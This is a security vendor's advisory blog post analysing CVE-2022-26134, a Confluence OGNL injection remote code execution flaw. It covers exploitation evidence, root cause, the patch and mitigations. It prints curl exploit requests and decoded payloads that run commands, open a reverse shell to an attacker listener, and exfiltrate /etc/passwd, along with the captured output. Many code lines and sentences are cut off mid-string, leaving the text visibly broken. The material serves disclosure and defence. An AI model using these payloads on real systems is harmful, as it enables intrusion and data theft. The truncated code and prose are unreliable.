Active Exploitation of Confluence CVE-2022-26134

Jun 02, 2022 | 11 min read | Rapid7

Last updated at Thu, 25 Jul 2024 19:25:16 GMT

On June 2, 2022, Atlassian published a security advisory for CVE-2022-26134, a critical unauthenticated remote code execution vulnerability in Confluence Server and Confluence Data Center. The vulnerability was unpatched when it was published on June 2. As of June 3, both patches and a temporary workaround are available.

CVE-2022-26134 is being actively and widely exploited in the wild. Rapid7's Managed Detection and Response (MDR) team has observed an uptick of likely exploitation of CVE-2022-26134 in customer environments as of June 3.

All supported versions of Confluence Server and Data Center are affected.
Atlassian updated their advisory on June 3 to reflect that it's likely that **all versions** (whether supported or not) of Confluence Server and Data Center are affected, but they have yet to confirm the earliest affected version. Organizations should install patches OR apply the workaround on an **emergency basis**. If you are unable to mitigate the vulnerability for any version of Confluence, you should restrict or disable Confluence Server and Confluence Data Center instances immediately.

Technical analysis

servers are at very high risk.

Last year, Atlassian Confluence suffered from a different unauthenticated and remote OGNL injection, CVE-2021-26084. Organizations maintaining an internet-facing Confluence or Data Server may want to consider permanently moving access behind a VPN.

The vulnerability

As stated, the vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. “BALH”). In its simplest form, an exploit abusing the vulnerability looks like this:

```
curl -v http://10.0.0.28:8090/%24%7B%40java.lang.Ru
```

Above, the exploit is URL-encoded. The exploit encompasses everything from the start of the content location to the last instance of `/`. Decoded it looks like this:

```
${@java.lang.Runtime@getRuntime().exec("touch /tmp/
```

Evidence of exploitation can typically be found in access logs because the exploit is stored in the HTTP request field. For example, on our test Confluence (version 7.13.6 LTS), the log file `/opt/atlassian/confluence/logs/conf_access_log.<yyyy-mm-dd>.log` contains the following entry after exploitation:

```
[02/Jun/2022:16:02:13 -0700] - http-nio-8090-exec-1
```

Scanning for vulnerable servers is easy because exploitation allows attackers to force the server to send command output in the HTTP response. For example, the following request will return the response of `whoami` in

```
* Connected to 10.0.0.28 (10.0.0.28) port 8090 (#0)
> GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOU
> Host: 10.0.0.28:8090
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Confluence-Request-Time: 1654212503090
< Set-Cookie: JSESSIONID=34154443DC363351DD0FE3D1EC
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Content-Security-Policy: frame-ancestors 'self'
< X-Cmd-Response: confluence
< Location: /login.action?os_destination=%2F%24%7B%
< Content-Type: text/html;charset=UTF-8
< Content-Length: 0
< Date: Thu, 02 Jun 2022 23:28:23 GMT
<
* Connection #0 to host 10.0.0.28 left intact
```

Decoding the exploit in the `curl` request shows how this is achieved. The exploit saves the output of the `exec` call and uses `setHeader` to include the result in the server's response to the attacker.

```
${(#a=@org.apache.commons.io.IOUtils@toString(@java
```

Root cause

Our investigation led to the following partial call stack. The call stack demonstrates the OGNL injection starting from `HttpServlet.service` to `OgnlValueStack.findValue` and beyond.

```
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.
at ognl.SimpleNode.getValue(SimpleNode.java:193)
at ognl.Ognl.getValue(Ognl.java:333)
at ognl.Ognl.getValue(Ognl.java:310)A
at com.opensymphony.xwork.util.OgnlValueStack.findV
at com.opensymphony.xwork.util.TextParseUtil.transl
at com.opensymphony.xwork.ActionChainResult.execute
at com.opensymphony.xwork.DefaultActionInvocation.e
at com.opensymphony.xwork.DefaultActionInvocation.i
at com.atlassian.confluence.xwork.FlashScopeInterce
```

```
at com.atlassian.xwork.interceptors.TransactionalIn
at com.atlassian.xwork.interceptors.TransactionalIn
at com.atlassian.xwork.interceptors.XWorkTransactio
at com.opensymphony.xwork.DefaultActionInvocation.i
at com.atlassian.confluence.xwork.SetupIncompleteIn
at com.opensymphony.xwork.DefaultActionInvocation.i
at com.atlassian.confluence.security.interceptors.S
at com.opensymphony.xwork.DefaultActionInvocation.i
at com.opensymphony.xwork.interceptor.AroundInterce
at com.opensymphony.xwork.DefaultActionInvocation.i
at com.opensymphony.xwork.DefaultActionProxy.execut
at com.atlassian.confluence.servlet.ConfluenceServl
at com.opensymphony.webwork.dispatcher.ServletDispa
at javax.servlet.http.HttpServlet.service(HttpServl
```

`OgnlValueStack` findValue(str) is important as it is the starting point for the OGNL expression to be evaluated. As we can see in the call stack above, `TextParseUtil.class` invokes `OgnlValueStack.findValue` when this vulnerability is exploited.

```
public class TextParseUtil {
    public static String translateVariables(String
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toStrin
            } catch (Exception ignored) {
                str1 = "";
            }
            sb.append(expression.substring(previous
            previous = m.end();
        }
        if (previous < expression.length())
            sb.append(expression.substring(previous
        return sb.toString();
    }
}
```

`ActionChainResult.class` calls `TextParseUtil.translateVariables` using `this.namespace` as the provided expression:

Where `namespace` is created from the request URI string in `com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath`:

```
public static String getNamespaceFromServletPath(St
    servletPath = servletPath.substring(0, servletP
    return servletPath;
}
```

The result is that the attacker-provided URI will be translated into a namespace, which will then find its way down to OGNL expression evaluation. At a high level, this is very similar to CVE-2018-11776, the Apache Struts2 namespace OGNL injection vulnerability. Just a reminder that there is nothing new in this world.

The patch

On June 3, 2022, Atlassian directed customers to replace `xwork-1.0.3.6.jar` with a newly released `xwork-1.0.3-atlassian-10.jar`. The xwork jars contain the `ActionChainResult.class` and `TextParseUtil.class` we identified as the path to OGNL expression evaluation.

The patch makes a number of small changes to fix this issue. For one, `namespace` is no longer passed down to `TextParseUtil.translateVariables` from `ActionChainResult.execute`:

Before:

```
public void execute(ActionInvocation invocation) th
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getN
    OgnlValueStack stack = ActionContext.getContext
    String finalNamespace = TextParseUtil.translate
    String finalActionName = TextParseUtil.translat
```

After:

```
  public void execute(ActionInvocation invocation)
    if (this.namespace == null)
```

filtering of unsafe expressions and has been inserted into `OgnlValueStack.class` in order to examine expressions when `findValue` is invoked. For example:

```
public Object findValue(String expr) {
  try {
    if (expr == null)
      return null;
    if (!this.safeExpressionUtil.isSafeExpression
      return null;
    if (this.overrides != null && this.overrides.
```

Payloads

The OGNL injection primitive gives attackers many options. Volexity's excellent **Zero-Day Exploitation of Atlassian Confluence** discusses JSP webshells being dropped to disk. However, Confluence Server should typically execute as `confluence` and not `root`. The `confluence` user is fairly restricted and unable to introduce web shells (to our knowledge).

Java does otherwise provide a wide variety of features that aid in achieving and maintaining execution (both with and without touching disk). It's impossible to demonstrate all here, but a reverse shell routed through Java's Nashorn engine is, perhaps, an interesting place for others to explore.

```
curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.scr
```

Decoded, the exploit looks like the following:

```
${new javax.script.ScriptEngineManager().getEngineB
```

And results in a reverse shell:

```
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.28 37148
bash: cannot set terminal process group (34470): In
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
confluence@ubuntu:/opt/atlassian/confluence/bin$ id
```

software. Executing in memory only is least likely to get an attacker caught. As an example, we put together a simple exploit that will read `/etc/passwd` and exfiltrate it to the attacker without shelling out.

```
curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.scr
```

When decoded, the reader can see that we again have relied on the Nashorn scripting engine.

```
${new javax.script.ScriptEngineManager().getEngineB
```

Again, the attacker is listening for the exfiltration which looks, as you'd expect, like `/etc/passd`:

```
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.28 37162
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
… truncated …
```

Finally, note that the exploit could be entirely URI-encoded as well. Writing any type of detection logic that relies on **just** the ASCII form will be quickly bypassed.

Mitigation guidance

Atlassian released patches for CVE-2022-26134 on June 3, 2022. A full list of fixed versions is available in the advisory. A temporary workaround for CVE-2022-26134 is also available—note that the workaround must be manually applied. Detailed instructions are available in Atlassian's advisory for applying the workaround to Confluence Server and Data Center 7.15.0-7.18.0 and

recommend that all organizations consider implementing IP address safelisting rules to restrict access to Confluence.

If you are unable to apply safelist IP rules to your Confluence server, consider adding WAF protection. Based on the details published so far, we recommend adding Java deserialization rules that defend against RCE injection vulnerabilities, such as CVE-2021-26084. For example, see the `JavaDeserializationRCE_BODY`, `JavaDeserializationRCE_URI`, `JavaDeserializationRCE_QUERYSTRING`, and `JavaDeserializationRCE_HEADER` rules described here.

Rapid7 customers

InsightVM and Nexpose: Customers can assess their exposure to CVE-2022-26134 with two unauthenticated vulnerability checks as of June 3, 2022:

- A remote check (atlassian-confluence-cve-2022-26134-remote) available in the 3:30 PM EDT content-only release on June 3
- A remote *version* check (atlassian-confluence-cve-2022-26134) available in the 9 PM EDT content-only release on June 3

InsightIDR: Customers should look for alerts generated by InsightIDR's built-in detection rules from systems monitored by the Insight Agent. Alerts generated by the following rules may be indicative of related malicious activity:

- Confluence Java App Launching Processes

The Rapid7 MDR (Managed Detection & Response) SOC is monitoring for this activity and will escalate confirmed

for any url path starting with `${` or `%24%7B`.

Updates

June 3, 2022 11:20 AM EDT: This blog has been updated to reflect that all supported versions of Confluence Server and Confluence Data Center are affected, and it's likely that **all versions** (including LTS and unsupported) are affected, but Atlassian has not yet determined the earliest vulnerable version.

June 3, 2022 11:45 AM EDT: Atlassian has released a temporary workaround for CVE-2022-26134. The workaround must be manually applied. Detailed instructions are available in Atlassian's advisory for applying the workaround to Confluence Server and Data Center 7.15.0-7.18.0 and 7.0.0-7.14.2.

June 3, 2022 1:15 PM EDT: Atlassian has released patches for CVE-2022-26134. A full list of fixed versions is available in their advisory. Rapid7 recommends applying patches OR the temporary workaround (manual) on an **emergency basis.**

June 3, 2022 3:15 PM EDT: A full technical analysis of CVE-2022-26134 has been added to this blog to aid security practitioners in understanding and prioritizing this vulnerability. A vulnerability check for InsightVM and Nexpose customers is in active development with a release targeted for this afternoon.

June 3, 2022 3:30 PM EDT: InsightVM and Nexpose customers can assess their exposure to CVE-2022-26134 with a remote vulnerability check in today's (June 3, 2022) content release.

June 6, 2022 10 AM EDT: A second content release went out the evening of Friday, June 3 containing a remote

continued to increase. Organizations that have not yet applied the patch or the workaround should **assume compromise** and activate incident response protocols in addition to remediating CVE-2022-26134 on an emergency basis.

POST TAGS

Emergent Threat Response

Risk Management

AUTHOR

Rapid7

VIEW RAPID7'S POSTS

SHARING IS CARING

Topics

Metasploit (654)

Vulnerability Management (359)

Research (236)

Detection and Response (205)

Popular Tags

Search Tags

Metasploit | Metasploit Weekly Wrapup | Vulnerability Management | Research | Logentries | Detection and Response

Related Posts

Fortinet FortiManager CVE-2024-47575 Exploited in Zero-Day Attacks READ MORE

Multiple Vulnerabilities in Common Unix Printing System (CUPS) READ MORE

High-Risk Vulnerabilities in Common Enterprise Technologies READ MORE

CVE-2024-40766: Critical Improper Access Control Vulnerability Affecting SonicWall Devices READ MORE

Related Posts

EMERGE...
Fortinet FortiManag
CVE-2024-
READ FULL POST

EMERGE...
Multiple Vulnerabiliti
in Common
READ FULL POST

EMERGE...
High-Risk Vulnerabiliti
in Common
READ FULL POST

EMERGE...
CVE-2024-40766: Critical
READ FULL POST

VIEW ALL POSTS

CUSTOMER SUPPORT

+1-866-390-8113 (Toll Free)

SALES SUPPORT

+1-866-772-7437 (Toll Free)

Need to report an Escalation or a Breach?

GET HELP

The Command Platform

Exposure Command

Managed Threat Complete

RESOURCES

Product Support

Resource Library

Our Customers

Events & Webcasts

Training & Certification

Cybersecurity Fundamentals

Vulnerability & Exploit Database

Company

Diversity, Equity, and Inclusion

Leadership

News & Press Releases

Public Policy

Open Source

Investors

Contact

Blog

Support Login

Careers